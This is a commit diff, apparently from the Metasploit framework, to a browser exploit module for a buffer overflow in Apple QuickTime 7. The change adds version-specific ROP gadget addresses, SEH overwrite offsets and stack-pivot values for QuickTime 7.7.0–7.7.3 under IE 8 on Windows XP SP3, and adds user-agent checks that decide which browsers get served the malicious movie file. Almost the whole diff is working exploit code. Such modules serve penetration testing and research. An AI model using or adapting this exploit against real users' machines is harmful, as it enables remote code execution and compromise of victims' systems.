Add more targets plus some other corrections

Author: wchen-r7

modules/exploits/windows/browser/apple_quicktime_rdrf.rb

@@ -11,11 +11,10 @@ class Metasploit4 < Msf::Exploit::Remote
 	Rank = NormalRanking
 
 	include Msf::Exploit::Remote::HttpServer::HTML
-	include Msf::Exploit::RopDb
 
 	def initialize(info={})
 		super(update_info(info,
-			'Name'           => "Apple Quicktime Invalid Atom Length Buffer Overflow",
+			'Name'           => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
 			'Description'    => %q{
 				This module exploits a vulnerability found in Apple Quicktime. The flaw is
 				triggered when Quicktime fails to properly handle the data length for certain
@@ -40,10 +39,12 @@ def initialize(info={})
 			'Platform'       => 'win',
 			'Targets'        =>
 				[
-					# Tested Quicktime versions:
-					# 7.7.3 (1680.64)
-					[ 'Automatic', {} ],
-					[ 'IE 8 on Windows XP SP3', { 'Rop' => true } ]  # msvcrt (7.0.2600.5512)
+					# All of the following addresses are from Quicktime.qts
+					# RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
+					[ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', {'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239} ],
+					[ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', {'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55} ],
+					[ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', {'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259} ],
+					[ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', {'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A} ]
 				],
 			'Payload'        =>
 				{
@@ -55,34 +56,10 @@ def initialize(info={})
 					'InitialAutoRunScript' => 'migrate -f'
 				},
 			'Privileged'     => false,
-			'DisclosureDate' => "May 22 2013",
-			'DefaultTarget'  => 0))
+			'DisclosureDate' => "May 22 2013"
+		))
 	end
 
-
-	def get_target(agent)
-		return target if target.name != 'Automatic'
-
-		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
-		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
-
-		ie_name = "IE #{ie}"
-
-		case nt
-		when '5.1'
-			os_name = 'Windows XP SP3'
-		end
-
-		targets.each do |t|
-			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
-				return t
-			end
-		end
-
-		nil
-	end
-
-
 	def get_payload(t)
 		p    = ''
 
@@ -120,6 +97,18 @@ def get_payload(t)
 	end
 
 
+	def targetable?(agent)
+		if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
+			return true
+		elsif agent =~ /contype/
+			# contype: a mov file request from Apple Quicktime
+			return true
+		end
+
+		false
+	end
+
+
 	def get_html(t)
 		js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
 		fake_mov_name = rand_text_alpha(4) + ".mov"
@@ -147,10 +136,8 @@ def on_request_uri(cli, request)
 		agent = request.headers['User-Agent']
 		print_status("Requesting: #{request.uri}")
 
-		target = get_target(agent)
-
-		# contype: a mov file request from Apple Quicktime
-		if target.nil? and agent != 'contype'
+		
+		unless targetable?(agent)
 			print_error("Browser not supported, sending 404: #{agent}")
 			send_not_found(cli)
 			return
@@ -171,22 +158,22 @@ def sort_bytes(data)
 		data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
 	end
 
-	def rop_nop
-		[0x6692346d].pack('V*')                  # Ret (QuickTime.qts)
+	def rop_nop(t)
+		[t['Nop']].pack('V*')                    # Ret (QuickTime.qts)
 	end
 
 	def exploit
 		buf = ''
 		buf << rand_text_alpha(467)              # 467 to algin the pivot
 		10.times {
-			buf << rop_nop
+			buf << rop_nop(target)
 		}
 		buf << [
-			0x66849239,                          # POP ESP; RET (QuickTime.qts)
+			target['Pop'],                       # POP ESP; RET (QuickTime.qts)
 			0x20302020                           # Target value for ESP (our ROP payload)
 		].pack('V*')
 		buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
-		buf << sort_bytes([0x66923467])          # ADD ESP,280; RET (QuickTime.qts) - pivot
+		buf << sort_bytes([target.ret])          # ADD ESP,280; RET (QuickTime.qts) - pivot
 		buf << rand_text_alpha(658 - buf.length) # 658 bytes to padd up the mov file size
 
 		# Quicktime File Format Specifications: